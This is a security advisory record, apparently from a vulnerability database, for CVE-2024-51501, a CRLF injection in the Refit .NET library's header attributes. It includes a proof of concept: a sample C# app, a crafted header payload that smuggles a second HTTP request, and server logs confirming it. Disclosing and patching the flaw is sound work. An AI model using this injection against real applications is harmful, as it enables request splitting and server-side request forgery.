{"id":"CVE-2024-51501","aliases":["GHSA-3hxg-fxwm-8gf7"],"url":"https://o3.security/vulnerability/CVE-2024-51501","summary":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes","details":"### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n private static void Main(string[] args)\n {\n // Usage: dotnet run \n string token = args[0];\n var service = RestService.For(\"http://insert.some.site.here\");\n string response = service.GetStatus(token).Result;\n Console.WriteLine($\"Response: {response}\");\n }\n\n public interface IStatusApi\n {\n [Get(\"/status\")]\n Task GetStatus([Authorize(\"Bearer\")] string token);\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here'\nResponse: \n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n","published":"2024-11-04T22:56:50.231Z","modified":"2026-08-12T03:51:48.997635044Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"NuGet","name":"Refit","fixedVersion":"7.2.22"}],"fix":{"url":"https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd","label":"reactiveui/refit@483b1d8"},"references":[{"type":"WEB","url":"https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51501.json"},{"type":"ADVISORY","url":"https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51501"},{"type":"WEB","url":"https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"},{"type":"PACKAGE","url":"https://github.com/reactiveui/refit"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:48.997635044Z"}}